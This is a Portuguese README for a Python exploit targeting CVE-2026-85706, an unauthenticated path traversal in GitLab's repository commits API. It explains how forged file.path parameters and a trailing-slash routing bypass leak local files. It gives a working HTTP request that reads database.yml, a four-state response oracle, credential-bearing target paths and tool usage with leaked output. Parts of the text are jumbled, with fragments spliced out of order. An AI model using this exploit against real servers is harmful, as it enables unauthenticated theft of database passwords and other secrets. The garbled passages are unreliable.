
PoC em Python para CVE-2026-85706, uma path traversal não autenticada na API Repository Commits do GitLab CE/EE que vaza arquivos locais arbitrários por meio de um oráculo de quatro estados.
A API "criar commit" do GitLab (POST /api/v4/projects/:id/repository/commits) permite que uma única requisição carregue grandes quantidades de conteúdo de arquivos. Para evitar que corpos de requisição muito grandes entrem diretamente no parser do Rails, o Workhorse primeiro grava o corpo da requisição em disco como arquivo temporário e, em seguida, injeta metadados como file.path / file.size na requisição encaminhada; o endpoint do Rails lê o arquivo de volta com base nesses parâmetros. A cadeia da vulnerabilidade é a combinação de quatro elos:
post ':id/repository/commits' possui apenas require_gitlab_workhorse! (que verifica somente "encaminhado pelo Workhorse"), enquanto o authenticate! real está escondido mais adiante em authorize_push_to_branch!, e a leitura por path traversal ocorre antes dele.file_params_from_body_upload trata diretamente os parâmetros da requisição file.path / file.size / Content-Type como metadados injetados pelo Workhorse, sem distinguir a origem dos parâmetros, permitindo que File.read(file_path) percorra qualquer caminho local.Content-Type=application/x-www-form-urlencoded, o conteúdo do arquivo é entregue a Rack::Utils.parse_nested_query para parsing; sequências inválidas no conteúdo disparam , que é ecoado tal como está na resposta 400 via . O eco é por ordem de chegada: / são limites de componente, o parsing é interrompido no componente onde está o primeiro inválido e esse componente é ecoado; sem separadores, o arquivo inteiro é ecoado como um único componente (escapes hexadecimais válidos não disparam erro).Pré-requisito: o :id na URL deve ser um projeto realmente existente (qualquer projeto público serve), sem necessidade de login em nenhum momento.
Requisição de exploração (database.yml em implantação com DB externo; quando a senha contém sequências % inválidas, todo o trecho é ecoado):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Resposta (todo o componente onde está o primeiro % inválido é ecoado):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
A leitura é executada com a identidade do usuário git do processo Puma, e a resposta constitui um oráculo de quatro estados:
Escopo real de leitura em implantação padrão (testado):
%: logs e artefatos de build de CI, anexos enviados por usuários, database.yml de implantação com DB externo. O database.yml tem o campo de senha vazio sob autenticação peer por socket local padrão, e só possui valor em implantações com DB externo.gitlab.yml: os comentários do template renderizado já contêm sequências como 95%, %{key} no início do arquivo (por volta da linha 19), enquanto as configurações de credenciais (incoming_email, LDAP, object storage, etc.) estão após a linha 170 — a ordem de chegada significa que em implantação padrão só é possível ecoar o trecho do cabeçalho, o trecho de credenciais não pode ser lido; somente em variantes de implantação sem sequências interferentes (templates personalizados, etc.) é possível ler. Observe também que a senha SMTP (gitlab_rails['smtp_password']) não é renderizada no gitlab.yml; o que é realmente renderizado são as credenciais de incoming_email, LDAP e object_store.secrets.yml é hex puro sem %, não é possível ler o conteúdo (401); gitlab.rb, chaves privadas TLS e arquivos de backup são root-only (apenas oráculo 500).Implementado com a biblioteca padrão do Python 3, sem dependências de terceiros. O script interpreta automaticamente os quatro estados conforme a tabela acima.
python3 exploit.py -t http://<target>:<port> # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Exemplo de saída (leitura de gitlab.yml em implantação padrão — o que é ecoado é o trecho do cabeçalho, não o de credenciais):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
Apenas para testes de segurança autorizados e pesquisa de vulnerabilidades.
%ArgumentError: invalid %-encoding (<conteúdo do componente>)bad_request!&=%%xx.../repository/commits\z), e os parâmetros forjados são engolidos no conteúdo do arquivo gravado em disco. Adicionar / ao final da URL faz com que a regra não corresponda, caindo no proxy reverso assinado de fallback — o corpo original da requisição, juntamente com os parâmetros forjados, é encaminhado tal como está ao Rails com um JWT válido, e require_gitlab_workhorse! passa; após a normalização da barra final pelo Grape, o handler vulnerável ainda é acionado.| Resposta | Significado | Exemplo |
|---|
400 local file not present | O arquivo não existe | /etc/nonexistent |
500 Internal Server Error | Existe, mas o usuário git não tem permissão de leitura (Errno::EACCES não tratado); erros de parsing do branch multipart para arquivos legíveis também resultam em 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Existe e é legível, mas o conteúdo não possui sequências % inválidas, sem eco | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<conteúdo>) | Existe, é legível e contém sequências % inválidas — todo o componente onde está é ecoado | Logs contendo %, artefatos de build de CI, database.yml de DB externo |
/proc/self/*, converter por ID de projeto para caminhos @hashed e sondar a existência de projetos privados.| Parâmetro | Descrição |
|---|
-t | Endereço do GitLab alvo (obrigatório), como http://<target>:<port> |
-f | Caminho absoluto a ser lido (padrão /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | ID do projeto, qualquer projeto realmente existente serve (padrão 1) |
-o | Salvar o conteúdo lido em um arquivo local |